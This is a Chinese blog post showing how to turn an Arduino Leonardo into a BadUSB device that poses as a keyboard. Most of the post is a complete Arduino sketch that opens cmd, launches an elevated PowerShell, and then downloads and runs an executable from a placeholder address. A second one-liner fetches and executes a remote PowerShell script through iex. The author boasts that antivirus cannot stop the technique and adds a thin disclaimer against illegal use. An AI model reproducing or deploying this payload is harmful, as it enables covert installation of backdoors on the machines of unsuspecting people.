[Arduino]利用Arduino Leonardo开发板制作BadUSB,劫持键盘...嘿嘿嘿

BadUSB其实原理就是用开发板模拟键盘,然后键入各种命令

具体的原理,可以移步腾讯安全应急响应中心 https://security.tencent.com/index.php/blog/msg/74

我手里刚好有一个自带USB接口的Arduino Leonardo开发板(只要是支持Keyboard的板子应该都可以),所以就拿来试试

 

我根据上面的原理,通过模拟win+R 启动CMD

然后在cmd中,以管理员身份启动PowerShell

使用PowerShell下载后门程序及运行

因为BadUSB利用的是USB端口在设计时就有的缺陷,所以整个感染过程,基本没有杀毒软件能够主动防御

杀毒软件能拦截的只有后门程序,但是对BadUSB它也是无可奈何的

下面就直接贴代码了

#include <Keyboard.h>
void setup() {
  // put your setup code here, to run once:
  Keyboard.begin();
  delay(1000);
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  delay(500);
  Keyboard.press(KEY_LEFT_GUI);
  delay(500);
  Keyboard.press('r');
  delay(500);
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release('r');
  delay(500);
  Keyboard.println("cmd");
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(500);
  Keyboard.println("powershell.exe -command start-process powershell -verb runAs && exit");
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(1000);
  Keyboard.press(KEY_LEFT_ARROW);
  Keyboard.release(KEY_LEFT_ARROW);
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(5000);
  Keyboard.println("$P = new-object system.net.webclient");
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(500);
  Keyboard.println("$P.downloadfile('HTTP://xxx.xxx.xxx.xxx/111.EXE','111.EXE');start-process 111.EXE;exit");
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.end();
}

void loop() {
  // put your main code here, to run repeatedly:

}

程序当中的延时是很有必要的,如果是电脑反应慢,还没打开,BadUSB就进行了输入,那么CMD肯定无法接收到输入的命令

尤其是begin时的延迟,建议调大。

当然也可以执行远程PSL脚本,命令如下

powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://url')"

至于更多玩法。。。大家自己脑补吧

 

本文可能存在攻击性,请勿用于非法用途。个人兴趣研究完全没问题,一切责任与本人无关,如有不足的地方希望指点,谢谢。

posted @ 2018-05-23 22:52  leeli73  阅读(4994)  评论(0编辑  收藏  举报